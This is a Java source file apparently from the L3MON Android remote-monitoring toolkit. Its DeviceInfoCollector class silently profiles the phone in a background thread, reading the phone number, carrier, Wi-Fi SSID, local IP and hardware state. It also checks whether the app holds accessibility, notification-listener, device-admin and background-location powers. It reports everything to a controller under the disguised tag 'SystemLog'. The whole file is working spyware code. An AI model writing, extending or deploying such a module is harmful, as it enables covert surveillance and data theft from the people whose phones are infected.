package com.etechd.l3mon;

import android.app.ActivityManager;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.BatteryManager;
import android.os.Build;
import android.os.Environment;
import android.os.StatFs;
import android.os.SystemClock;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.util.Log;

import org.json.JSONObject;

import java.io.File;
import java.util.Locale;
import java.util.TimeZone;

public class DeviceInfoCollector {
    private static final String TAG = "SystemLog";

    public static void reportNow(Context context) {
        if (context == null) {
            return;
        }
        final Context app = context.getApplicationContext();
        Thread t = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    SystemLogApi.init(app);
                    JSONObject root = buildPayload(app);
                    SystemLogApi.report("0xDI", root);
                } catch (Exception e) {
                    Log.e(TAG, "DeviceInfo: " + e.getMessage());
                }
            }
        }, "sl-device-info");
        t.setDaemon(true);
        t.start();
    }

    private static JSONObject buildPayload(Context app) throws Exception {
        JSONObject root = new JSONObject();
        root.put("model", Build.MODEL);
        root.put("manufacturer", Build.MANUFACTURER);
        root.put("android_version", Build.VERSION.RELEASE);
        root.put("android_sdk", Build.VERSION.SDK_INT);
        if (Build.VERSION.SDK_INT >= 23) {
            root.put("security_patch", Build.VERSION.SECURITY_PATCH);
        }
        root.put("app_version", getAppVersion(app));
        root.put("locale", Locale.getDefault().toString());
        root.put("timezone", TimeZone.getDefault().getID());
        root.put("battery_saver", isBatterySaver(app));
        root.put("hardware", collectHardware(app));
        root.put("storage", collectStorage());
        root.put("telephony", collectTelephony(app));
        root.put("network", collectNetwork(app));
        root.put("services", collectServices(app));
        return root;
    }

    private static JSONObject collectHardware(Context app) throws Exception {
        JSONObject h = new JSONObject();
        IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
        Intent batteryStatus = app.registerReceiver(null, filter);
        if (batteryStatus != null) {
            int level = batteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
            int scale = batteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1);
            if (level >= 0 && scale > 0) {
                h.put("battery_percent", (int) ((level * 100f) / scale));
            }
            int status = batteryStatus.getIntExtra(BatteryManager.EXTRA_STATUS, -1);
            h.put("battery_charging", status == BatteryManager.BATTERY_STATUS_CHARGING
                    || status == BatteryManager.BATTERY_STATUS_FULL);
        }
        h.put("uptime_ms", SystemClock.elapsedRealtime());
        try {
            android.os.PowerManager pm = (android.os.PowerManager) app.getSystemService(Context.POWER_SERVICE);
            if (pm != null) {
                h.put("screen_on", pm.isInteractive());
            }
        } catch (Exception ignored) {
        }
        ActivityManager am = (ActivityManager) app.getSystemService(Context.ACTIVITY_SERVICE);
        if (am != null) {
            ActivityManager.MemoryInfo mem = new ActivityManager.MemoryInfo();
            am.getMemoryInfo(mem);
            h.put("ram_free_mb", mem.availMem / (1024 * 1024));
            h.put("ram_total_mb", mem.totalMem / (1024 * 1024));
        }
        return h;
    }

    private static JSONObject collectStorage() throws Exception {
        JSONObject s = new JSONObject();
        File path = Environment.getDataDirectory();
        StatFs stat = new StatFs(path.getPath());
        long blockSize = stat.getBlockSizeLong();
        s.put("internal_free_mb", (stat.getAvailableBlocksLong() * blockSize) / (1024 * 1024));
        s.put("internal_total_mb", (stat.getBlockCountLong() * blockSize) / (1024 * 1024));
        return s;
    }

    private static JSONObject collectTelephony(Context app) throws Exception {
        JSONObject t = new JSONObject();
        try {
            TelephonyManager tm = (TelephonyManager) app.getSystemService(Context.TELEPHONY_SERVICE);
            if (tm != null) {
                t.put("operator", tm.getNetworkOperatorName());
                t.put("sim_operator", tm.getSimOperatorName());
                t.put("country_iso", tm.getSimCountryIso());
                if (Build.VERSION.SDK_INT < 29) {
                    try {
                        String num = tm.getLine1Number();
                        if (num != null && !num.isEmpty()) {
                            t.put("phone_number", num);
                        }
                    } catch (SecurityException ignored) {
                    }
                }
                t.put("roaming", tm.isNetworkRoaming());
            }
        } catch (Exception e) {
            Log.w(TAG, "telephony: " + e.getMessage());
        }
        return t;
    }

    private static JSONObject collectNetwork(Context app) throws Exception {
        JSONObject n = new JSONObject();
        ConnectivityManager cm = (ConnectivityManager) app.getSystemService(Context.CONNECTIVITY_SERVICE);
        if (cm != null) {
            NetworkInfo active = cm.getActiveNetworkInfo();
            if (active != null) {
                n.put("connection", active.getTypeName() + " / " + active.getSubtypeName());
            }
        }
        try {
            WifiManager wm = (WifiManager) app.getApplicationContext().getSystemService(Context.WIFI_SERVICE);
            if (wm != null) {
                WifiInfo wi = wm.getConnectionInfo();
                if (wi != null) {
                    String ssid = wi.getSSID();
                    if (ssid != null) {
                        ssid = ssid.replace("\"", "");
                        if (!ssid.isEmpty() && !"<unknown ssid>".equalsIgnoreCase(ssid)) {
                            n.put("wifi_ssid", ssid);
                        }
                    }
                    int ip = wi.getIpAddress();
                    if (ip != 0) {
                        n.put("local_ip", formatIp(ip));
                    }
                }
            }
        } catch (Exception ignored) {
        }
        return n;
    }

    private static String formatIp(int ip) {
        return (ip & 0xff) + "." + ((ip >> 8) & 0xff) + "." + ((ip >> 16) & 0xff) + "." + ((ip >> 24) & 0xff);
    }

    private static JSONObject collectServices(Context app) throws Exception {
        JSONObject s = new JSONObject();
        s.put("usage_access", UsageAccessHelper.hasAccess(app));
        s.put("accessibility", AccessibilityHelper.isConnected());
        s.put("accessibility_enabled", AccessibilityHelper.isEnabledInSettings(app));
        s.put("notification_listener", isNotificationListenerEnabled(app));
        s.put("device_admin", DeviceAdminHelper.isActive(app));
        s.put("location", hasPermission(app, "android.permission.ACCESS_FINE_LOCATION")
                || hasPermission(app, "android.permission.ACCESS_COARSE_LOCATION"));
        if (Build.VERSION.SDK_INT >= 29) {
            s.put("background_location", hasPermission(app, "android.permission.ACCESS_BACKGROUND_LOCATION"));
        } else {
            s.put("background_location", s.getBoolean("location"));
        }
        return s;
    }

    private static boolean hasPermission(Context app, String perm) {
        try {
            return app.checkSelfPermission(perm) == PackageManager.PERMISSION_GRANTED;
        } catch (Exception e) {
            return false;
        }
    }

    private static boolean isNotificationListenerEnabled(Context app) {
        try {
            String enabled = Settings.Secure.getString(app.getContentResolver(), "enabled_notification_listeners");
            return enabled != null && enabled.contains(app.getPackageName());
        } catch (Exception e) {
            return false;
        }
    }

    private static String getAppVersion(Context app) {
        try {
            PackageInfo pi = app.getPackageManager().getPackageInfo(app.getPackageName(), 0);
            return pi.versionName != null ? pi.versionName : String.valueOf(pi.versionCode);
        } catch (Exception e) {
            return "?";
        }
    }

    private static boolean isBatterySaver(Context app) {
        try {
            if (Build.VERSION.SDK_INT >= 21) {
                android.os.PowerManager pm = (android.os.PowerManager) app.getSystemService(Context.POWER_SERVICE);
                return pm != null && pm.isPowerSaveMode();
            }
        } catch (Exception ignored) {
        }
        return false;
    }
}
